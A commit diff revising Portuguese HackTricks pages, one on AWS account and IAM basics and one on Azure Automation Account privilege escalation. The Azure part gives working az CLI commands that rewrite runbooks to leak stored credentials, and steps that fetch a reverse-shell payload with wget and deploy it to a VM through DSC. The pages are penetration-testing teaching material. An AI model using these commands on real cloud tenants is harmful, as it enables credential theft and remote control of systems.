Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

2026-02-04 19:11:41 -08:00 · 2025-03-17 03:51:18 +00:00
parent dd23f79624
commit 0b39f69e7b
3 changed files with 72 additions and 44 deletions
--- a/src/images/vm_to_aa.jpg
+++ b/src/images/vm_to_aa.jpg
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -10,7 +10,7 @@

 No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre si.

-Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre as implantações.
+Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem criadas especificamente), assim você pode criar limites entre implantações.

 Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros.

@@ -26,14 +26,14 @@ Portanto, existem **dois tipos de contas em uma organização** (estamos falando

 A conta de gerenciamento tem as **responsabilidades de uma conta pagadora** e é responsável por pagar todas as cobranças acumuladas pelas contas membros. Você não pode mudar a conta de gerenciamento de uma organização.

- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta. 
+- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta.
 - As contas membros **devem usar um endereço de e-mail válido** e podem ter um **nome**, em geral, elas não poderão gerenciar a cobrança (mas podem receber acesso a isso).
 ```
 aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
 ```
-### **Unidades Organizacionais**
+### **Unidades de Organização**

-Contas podem ser agrupadas em **Unidades Organizacionais (OU)**. Dessa forma, você pode criar **políticas** para a Unidade Organizacional que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas.
+Contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas.
 ```bash
 # You can get the root id from aws organizations list-roots
 aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
@@ -42,20 +42,18 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU

 Uma **service control policy (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.

-Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, pode ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\
+Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, poderia ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\
 A única maneira de contornar isso é comprometer também a **conta master** que configura as SCPs (a conta master não pode ser bloqueada).

 > [!WARNING]
-> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta.
+> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** na sua conta.

 Exemplos de SCP:

 - Negar completamente a conta root
 - Permitir apenas regiões específicas
 - Permitir apenas serviços na lista branca
- Negar o acesso ao GuardDuty, CloudTrail e S3 Public Block de
-
-ser desativado
+- Negar a desativação do GuardDuty, CloudTrail e S3 Public Block Access

 - Negar que funções de segurança/resposta a incidentes sejam excluídas ou

@@ -66,6 +64,24 @@ modificadas.

 Encontre **exemplos JSON** em [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)

+### Resource Control Policy (RCP)
+
+Uma **resource control policy (RCP)** é uma política que define as **permissões máximas para recursos dentro da sua organização AWS**. RCPs são semelhantes às políticas IAM em sintaxe, mas **não concedem permissões**—elas apenas limitam as permissões que podem ser aplicadas a recursos por outras políticas. Quando você anexa uma RCP à raiz da sua organização, a uma unidade organizacional (OU) ou a uma conta, a RCP limita as permissões de recursos em todos os recursos no escopo afetado.
+
+Esta é a ÚNICA maneira de garantir que **os recursos não possam exceder níveis de acesso predefinidos**—mesmo que uma política baseada em identidade ou baseada em recurso seja muito permissiva. A única maneira de contornar esses limites é também modificar a RCP configurada pela conta de gerenciamento da sua organização.
+
+> [!WARNING]
+> As RCPs apenas restringem as permissões que os recursos podem ter. Elas não controlam diretamente o que os principais podem fazer. Por exemplo, se uma RCP nega acesso externo a um bucket S3, ela garante que as permissões do bucket nunca permitam ações além do limite definido—mesmo que uma política baseada em recurso esteja mal configurada.
+
+Exemplos de RCP:
+
+- Restringir buckets S3 para que possam ser acessados apenas por principais dentro da sua organização
+- Limitar o uso de chaves KMS para permitir apenas operações de contas organizacionais confiáveis
+- Limitar permissões em filas SQS para evitar modificações não autorizadas
+- Impor limites de acesso em segredos do Secrets Manager para proteger dados sensíveis
+
+Encontre exemplos na [documentação de Políticas de Controle de Recursos da AWS Organizations](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
+
 ### ARN

 **Amazon Resource Name** é o **nome único** que cada recurso dentro da AWS possui, é composto assim:
@@ -92,7 +108,7 @@ IAM pode ser definido pela sua capacidade de gerenciar, controlar e governar mec

 ### [Usuário root da conta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>

-Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma identidade de login única que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**.
+Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma única identidade de login que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**.

 Note que um novo **usuário admin** terá **menos permissões que o usuário root**.

@@ -117,7 +133,7 @@ _Criar uma nova chave de acesso -> Aplicar a nova chave ao sistema/aplicação -
 ### MFA - Autenticação de Múltiplos Fatores

 É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\
-Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como o Google Authenticator gratuitamente para ativar um MFA na AWS.
+Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como autenticação do Google gratuitamente para ativar um MFA na AWS.

 Políticas com condições de MFA podem ser anexadas aos seguintes:

@@ -134,30 +150,30 @@ Como [**afirmado aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_cre

 ### [Grupos de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>

-Um [grupo de usuários](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) IAM é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**.
+Um [grupo de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**.

 Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e os principais são entidades IAM autenticadas.

 Aqui estão algumas características importantes dos grupos de usuários:

- Um **grupo** de usuários pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**.
+- Um **grupo de usuários** pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**.
 - **Grupos de usuários não podem ser aninhados**; eles podem conter apenas usuários, não outros grupos de usuários.
 - Não há **grupo de usuários padrão que inclua automaticamente todos os usuários na conta AWS**. Se você quiser ter um grupo de usuários assim, deve criá-lo e atribuir cada novo usuário a ele.
- O número e o tamanho dos recursos IAM em uma conta AWS, como o número de grupos e o número de grupos dos quais um usuário pode ser membro, são limitados. Para mais informações, veja [cotas IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- O número e o tamanho dos recursos IAM em uma conta AWS, como o número de grupos e o número de grupos dos quais um usuário pode ser membro, são limitados. Para mais informações, consulte [cotas IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).

 ### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>

-Uma **função** IAM é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de ser exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir permissões diferentes para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
+Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de estar associada exclusivamente a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir permissões diferentes para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.

 Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**.

 #### AWS Security Token Service (STS)

-O AWS Security Token Service (STS) é um serviço web que facilita a **emissão de credenciais temporárias e de privilégio limitado**. É especificamente adaptado para:
+O AWS Security Token Service (STS) é um serviço da web que facilita a **emissão de credenciais temporárias de privilégio limitado**. É especificamente adaptado para:

 ### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>

-**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
+**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração em que as credenciais são válidas.

 ### Políticas

@@ -166,10 +182,10 @@ O AWS Security Token Service (STS) é um serviço web que facilita a **emissão
 São usadas para atribuir permissões. Existem 2 tipos:

 - Políticas gerenciadas pela AWS (pré-configuradas pela AWS)
- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria.
+- Políticas gerenciadas pelo cliente: configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria.

 Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\
-Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
+Se **um único "Deny" existir, ele irá sobrepor o "Allow"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -206,17 +222,17 @@ Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos o

 Se um principal não tiver uma negação explícita sobre elas, e uma política de recurso conceder acesso, então eles são permitidos.

-### Limites IAM
+### Limites do IAM

-Limites IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
+Limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.

-Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Assim, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
+Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.

 **Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam.

 ### Políticas de Sessão

-Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
+Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).

 Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida.
 ```bash
@@ -226,14 +242,14 @@ aws sts assume-role \
 [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
 [--policy <file://policy.json>]
 ```
-Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles), por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).

 Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**.

 ### Federação de Identidade

 A federação de identidade **permite que usuários de provedores de identidade que são externos** à AWS acessem recursos da AWS de forma segura, sem precisar fornecer credenciais de usuário da AWS de uma conta IAM válida.\
-Um exemplo de um provedor de identidade pode ser seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
+Um exemplo de um provedor de identidade pode ser o seu próprio **Microsoft Active Directory** (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.

 Para configurar essa confiança, um **Provedor de Identidade IAM é gerado (SAML ou OAuth)** que **confiará** na **outra plataforma**. Em seguida, pelo menos uma **função IAM é atribuída (confiando) ao Provedor de Identidade**. Se um usuário da plataforma confiável acessar a AWS, ele estará acessando como a função mencionada.

@@ -263,11 +279,11 @@ Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedo

 É possível **dar permissões via políticas inline para funções criadas via IAM Identity Center**. As funções criadas nas contas que estão sendo dadas **políticas inline no AWS Identity Center** terão essas permissões em uma política inline chamada **`AwsSSOInlinePolicy`**.

-Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que tenha as mesmas permissões**.
+Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que elas têm as mesmas permissões**.

 ### Confianças e Funções entre Contas

-**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas da AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
+**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiado) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
 É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.

 ### AWS Simple AD
@@ -275,7 +291,7 @@ Portanto, mesmo que você veja 2 funções com uma política inline chamada **`A
 Não suportado:

 - Relações de Confiança
- AD Admin Center
+- Centro de Administração do AD
 - Suporte completo à API PS
 - Lixeira do AD
 - Contas de Serviço Gerenciadas por Grupo
@@ -295,7 +311,7 @@ O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhad

 ### Prefixos de ID IAM

-Na [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) você pode encontrar os **prefixos de ID IAM** de chaves dependendo de sua natureza:
+Na [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids), você pode encontrar os **prefixos de ID IAM** de chaves dependendo de sua natureza:

 | Código do Identificador | Descrição                                                                                                                                                                                            |
 | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -331,7 +347,7 @@ Os seguintes privilégios concedem vários acessos de leitura de metadados:
 ### Autenticação CLI

 Para que um usuário regular se autentique na AWS via CLI, você precisa ter **credenciais locais**. Por padrão, você pode configurá-las **manualmente** em `~/.aws/credentials` ou **executando** `aws configure`.\
-Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando o **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\
+Nesse arquivo, você pode ter mais de um perfil; se **nenhum perfil** for especificado usando a **aws cli**, o chamado **`[default]`** nesse arquivo será usado.\
 Exemplo de arquivo de credenciais com mais de 1 perfil:
 ```
 [default]
@@ -343,7 +359,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
 aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
 region = eu-west-2
 ```
-Se você precisar acessar **diferentes contas AWS** e seu perfil tiver acesso para **assumir um papel dentro dessas contas**, você não precisa chamar manualmente o STS toda vez (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) e configurar as credenciais.
+Se você precisar acessar **diferentes contas AWS** e seu perfil foi concedido acesso para **assumir um papel dentro dessas contas**, você não precisa chamar manualmente o STS toda vez (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) e configurar as credenciais.

 Você pode usar o arquivo `~/.aws/config` para [**indicar quais papéis assumir**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), e então usar o parâmetro `--profile` como de costume (o `assume-role` será realizado de forma transparente para o usuário).\
 Um exemplo de arquivo de configuração:
@@ -366,5 +382,6 @@ Se você está procurando algo **similar** a isso, mas para o **navegador**, voc
 - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
 - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
 - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
+- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/)

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
@@ -10,7 +10,9 @@ Para mais informações, consulte:
 ../az-services/az-automation-accounts.md
 {{#endref}}

-### Hybrid Workers Group
+### Grupo de Trabalhadores Híbridos
+
+- **Do Automation Account para a VM**

 Lembre-se de que, se de alguma forma um atacante conseguir executar um runbook arbitrário (código arbitrário) em um trabalhador híbrido, ele irá **pivotar para a localização da VM**. Isso pode ser uma máquina local, uma VPC de uma nuvem diferente ou até mesmo uma VM do Azure.

@@ -19,11 +21,20 @@ Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outr
 > [!TIP]
 > Lembre-se de que o **serviço de metadados** tem uma URL diferente (**`http://169.254.169.254`**) do serviço de onde se obtém o token de identidades gerenciadas da conta de automação (**`IDENTITY_ENDPOINT`**).

+- **Da VM para o Automation Account**
+
+Além disso, se alguém comprometer uma VM onde um script de conta de automação está sendo executado, ele poderá localizar os metadados da **Automation Account** e acessá-los a partir da VM para obter tokens para as **Identidades Gerenciadas** anexadas à Automation Account.
+
+Como é possível ver na imagem a seguir, tendo acesso de Administrador sobre a VM, é possível encontrar nas **variáveis de ambiente do processo** a URL e o segredo para acessar o serviço de metadados da conta de automação:
+
+![](</images/vm_to_aa.jpg>)
+
+
 ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)

-Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Conta de Automação, que você poderia usar para **executar código** no contexto da Conta de Automação e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Conta de Automação.
+Em resumo, essas permissões permitem **criar, modificar e executar Runbooks** na Automation Account, que você poderia usar para **executar código** no contexto da Automation Account e escalar privilégios para as **Identidades Gerenciadas** atribuídas e vazar **credenciais** e **variáveis criptografadas** armazenadas na Automation Account.

-A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Conta de Automação usando:
+A permissão **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar o código de um Runbook na Automation Account usando:
 ```bash
 # Update the runbook content with the provided PowerShell script
 az automation runbook replace-content --no-wait \
@@ -38,7 +49,7 @@ $creds.GetNetworkCredential().password'
 ```
 Observe como o script anterior pode ser usado para **vazar o nome de usuário e a senha** de uma credencial e o valor de uma **variável criptografada** armazenada na Conta de Automação.

-A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação, aplicando assim as alterações:
+A permissão **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite que o usuário publique um Runbook na Conta de Automação para que as alterações sejam aplicadas:
 ```bash
 az automation runbook publish \
 --resource-group <res-group> \
@@ -123,7 +134,7 @@ az rest --method PUT \
 }'
 ```
 > [!TIP]
-> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar esta atribuição.
+> No exemplo anterior, o id do jobchedule foi deixado como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como exemplo** mas você precisará usar um valor arbitrário para criar essa atribuição.

 ### `Microsoft.Automation/automationAccounts/webhooks/write`

@@ -179,7 +190,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
 ```
 ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)

-Esta permissão permite que o usuário **configure um controle de versão** para a Conta de Automação usando comandos como o seguinte (este usa o Github como exemplo):
+Esta permissão permite que o usuário **configure um controle de versão** para a Conta de Automação usando comandos como os seguintes (este usa o Github como exemplo):
 ```bash
 az automation source-control create \
 --resource-group <res-group> \
@@ -196,7 +207,7 @@ az automation source-control create \
 ```
 Isso importará automaticamente os runbooks do repositório do Github para a Conta de Automação e, com algumas outras permissões para começar a executá-los, seria **possível escalar privilégios**.

-Além disso, lembre-se de que, para o controle de versão funcionar nas Contas de Automação, deve haver uma identidade gerenciada com o papel **`Contributor`** e, se for uma identidade gerenciada pelo usuário, o ID do cliente da MI deve ser especificado na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
+Além disso, lembre-se de que, para o controle de versão funcionar nas Contas de Automação, deve ter uma identidade gerenciada com o papel **`Contributor`** e, se for uma identidade gerenciada pelo usuário, o ID do cliente da MI deve ser especificado na variável **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.

 > [!TIP]
 > Observe que não é possível alterar a URL do repositório de um controle de versão uma vez que ele é criado.
@@ -219,7 +230,7 @@ az rest --method PUT \
 ```
 ### Ambientes de Runtime Personalizados

-Se uma conta de automação estiver usando um ambiente de runtime personalizado, pode ser possível sobrescrever um pacote personalizado do runtime com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook usando esse runtime personalizado for executado e carregar o pacote personalizado, o código malicioso será executado.
+Se uma conta de automação estiver usando um ambiente de runtime personalizado, pode ser possível sobrescrever um pacote personalizado do runtime com algum código malicioso (como **um backdoor**). Dessa forma, sempre que um runbook que usa esse runtime personalizado for executado e carregar o pacote personalizado, o código malicioso será executado.

 ### Comprometendo a Configuração de Estado

@@ -228,10 +239,10 @@ Se uma conta de automação estiver usando um ambiente de runtime personalizado,
 - Passo 1 — Criar Arquivos

 **Arquivos Necessários:** Dois scripts PowerShell são necessários:
-1. `reverse_shell_config.ps1`: Um arquivo de Configuração de Estado Desejado (DSC) que busca e executa a carga útil. Ele pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
+1. `reverse_shell_config.ps1`: Um arquivo de Desired State Configuration (DSC) que busca e executa o payload. Ele pode ser obtido em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
 2. `push_reverse_shell_config.ps1`: Um script para publicar a configuração na VM, disponível em [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).

-**Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/carga útil.
+**Personalização:** Variáveis e parâmetros nesses arquivos devem ser adaptados ao ambiente específico do usuário, incluindo nomes de recursos, caminhos de arquivos e identificadores de servidor/payload.

 - Passo 2 — Compactar o Arquivo de Configuração

@@ -245,17 +256,17 @@ O arquivo de configuração compactado é enviado para um contêiner de Armazena
 ```bash
 Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
 ```
- Passo 4 — Preparar Kali Box
+- Passo 4 — Preparar a Kali Box

 O servidor Kali baixa o payload RevPS.ps1 de um repositório do GitHub.
 ```bash
 wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
 ```
-O script é editado para especificar a VM Windows alvo e a porta para o reverse shell.
+O script é editado para especificar a VM Windows alvo e a porta para o shell reverso.

 - Passo 5 — Publicar Arquivo de Configuração

-O arquivo de configuração é executado, resultando na implantação do script de reverse shell no local especificado na VM Windows.
+O arquivo de configuração é executado, resultando na implantação do script de shell reverso no local especificado na VM Windows.

 - Passo 6 — Hospedar Payload e Configurar Listener